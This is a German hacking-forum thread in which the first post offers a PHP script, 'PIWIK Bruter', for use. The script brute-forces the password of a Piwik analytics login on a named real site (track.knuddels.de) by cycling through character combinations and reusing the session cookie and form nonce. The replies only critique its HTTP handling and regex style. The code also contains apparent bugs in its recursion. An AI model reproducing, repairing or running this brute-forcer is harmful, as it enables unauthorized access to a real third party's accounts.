1. #1

    Registriert seit
    10.06.2012
    Beiträge
    55
    Thanked 23 Times in 12 Posts

    Daumen hoch [PHP] PIWIK Bruter

    Hallo hier möchte ich euch meine Piwik Bruter Klasse in PHP vorstellen.
    Die Klasse ist nur aus Langweile entstanden, ich werde dazu keinerlei Support geben und auch keine Fragen wie z.B. "Wie Funktioniert das?" beantworten.

    Ich wünsche euch trotzdem viel Spaß damit



    PHP-Code:
    <?php
    /*
    ** author xtp57
    */ 

    class brute_PIWIK {

    private function 
    PostRequest($url$referer$data$cookie) {
        
    $url parse_url($url);
        
    $host $url['host'];
        
    $path $url['path'];
        
    $fp fsockopen($host8080);
        if(
    $data == "") {
            
    $typ "GET";
        }else{
            
    $typ "POST";
        }
        
    fputs($fp$typ.$path HTTP/1.1\r\n");
        
    fputs($fp"Host: $host\r\n");
        
    fputs($fp"User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13\r\n");
        if(
    $referer != "") {
            
    fputs($fp"Referer: $referer\r\n");
        }
        if(
    $cookie != "") {
            
    fputs($fp"Cookie: ".$cookie."\r\n");
        }
        
    fputs($fp"Content-type: application/x-www-form-urlencoded\r\n");
        
    fputs($fp"Content-length: "strlen($data) ."\r\n");
        
    fputs($fp"Connection: close\r\n\r\n");
        if(
    $data != "") {
            
    fputs($fp$data);
        }
        
    $result ''
        while(!
    feof($fp)) {
            
    $result .= fgets($fp128);
        }
        
    fclose($fp);
        return 
    $result;
    }

    private function 
    getHiddenFormID($content) {
        
    $regex '#<input type="hidden" name="form_nonce" id="form_nonce" value="(.*?)" />#';
        
    preg_match_all($regex$content$match);
        return 
    $match[1][0];
    }

    private function 
    getPIWIK_SESSID($content) {
        
    $regex '#Set-Cookie: (.*?);#';
        
    preg_match_all($regex$content$match);
        return 
    $match[1][0];
    }

    private function 
    brute($width)
    {    
        
    $position 0;
        
    $charset "";
        
    $charset .= "abcdefghijklmnopqrstuvwxyz";
        
    $charset .= "1234567890";
        
    $charset .= "ABCDEFGHIJKLMNOPQRSTUVWXYZ";
        
    //$charset .= "äöüÄÖÜß";
        //$charset .= "!"§$%&/()=?,.-#+"; //sonderzeichen usw.
        
        
    $charset_length strlen($charset);
        
         
        for (
    $i 0$i $charset_length; ++$i) {
            if (
    $position  $width 1) {
                
    $this->brute($width$position 1);
            }
            
    $this->checkLogin($charset[$i]);
        }
    }

    private function 
    checkLogin($password) {
        
    $content $this->PostRequest("http://track.knuddels.de/piwik/""http://track.knuddels.de:8080/piwik/""""");
        
    $session $this->getPIWIK_SESSID($content);
        
    $hiddenID $this->getHiddenFormID($content);

        
    $content $this->PostRequest("http://track.knuddels.de/piwik/""http://track.knuddels.de:8080/piwik/""form_login=piwik&form_password=".$password."&form_nonce=".$hiddenID$session);
        
    $count substr_count($content"Password not correct");
        
        if(
    $count == 0)    {
            print 
    "<center><h1>Passwort gefunden!<br>Passwort: <b>".$password."</b></h1><center>\n";
            exit;
        } else {
            
    //print $password." = FAIL!<br>\n";    
        
    }
    }

    }

    $start = new brute_PIWIK();

    $stellen 6//Anzahl der maximalen Pw Länge.

    $start->brute($stellen);


    /*
    ** Have fun :-)
    */
    ?>

  2. #2
    Avatar von DMW007
    Registriert seit
    15.11.2011
    Beiträge
    6.080
    Thanked 9.118 Times in 2.995 Posts
    Blog Entries
    5

    Standard [PHP] PIWIK Bruter

    Bei GET-Requests wird keine Content-Length angegeben, da es keinen Content im Body gibt.
    Cookies kann man wesentlich performanter als mit Regex auslesen. Den Header ist vom Content mit 2 Zeilenumbrüchen getrennt.

    Beim auslesen der ID benutzt du dasselbe Wildcard-Pattern

    PHP-Code:
    $regex '#<input type="hidden" name="form_nonce" id="form_nonce" value="(.*?)" />#'
    Regex besteht nicht aus (.*?), das ist das unperformanteste und fehleranfälligste Pattern das es gibt da es eben alles zwischen den delimittern matcht, daher sollte man es auch nur da verwenden wo es zwingend notwendig ist, also in deinem Script gar nicht.
    Btw ist das ein Regex-Pattern, und kein regulärer Ausdruck.

    PHP ist imho auch nicht die geeignetste Sprache für sowas (time_limit & co).


  3. #3

    Registriert seit
    01.07.2011
    Beiträge
    103
    Thanked 54 Times in 45 Posts

    Standard [PHP] PIWIK Bruter

    Cookies kann man wesentlich performanter als mit Regex auslesen.
    Wozu?!

    cURL bietet doch das storen/nutzen von Cookies von Hause aus an. Das ganze nent sich bei den Optionen COOKIEJAR oder sowas.

  4. #4

    Registriert seit
    17.02.2012
    Beiträge
    21
    Thanked 4 Times in 4 Posts

    Standard [PHP] PIWIK Bruter

    wenn man vielleicht kein cURL zur verfügung hat?

  5. #5

    Registriert seit
    01.07.2011
    Beiträge
    103
    Thanked 54 Times in 45 Posts

    Standard [PHP] PIWIK Bruter

    Komm jetzt nicht damit, des ist doch schon mittlerweile (fast bei jedem) Standardmäßig als PHP-Modul installiert - Selbst auf Freehostern.

  6. The Following User Says Thank You to Batzi For This Useful Post:

    DotNet (03.09.2015)

Ähnliche Themen

  1. PSC-Bruter?!
    Von Baumstumpf im Forum OffTopic
    Antworten: 1
    Letzter Beitrag: 28.11.2012, 17:35
  2. Bruter Algorhytmus
    Von Essah im Forum Hochsprachen
    Antworten: 7
    Letzter Beitrag: 23.10.2012, 22:34
  3. Problem Knuddels Bruter
    Von Knuddels im Forum Knuddels Bots
    Antworten: 0
    Letzter Beitrag: 20.08.2012, 00:48
  4. Gibt es noch Bruter
    Von Kosi im Forum Knuddels Allgemein
    Antworten: 6
    Letzter Beitrag: 26.11.2011, 22:21
Diese Seite nutzt Cookies, um das Nutzererlebnis zu verbessern. Klicken Sie hier, um das Cookie-Tracking zu deaktivieren.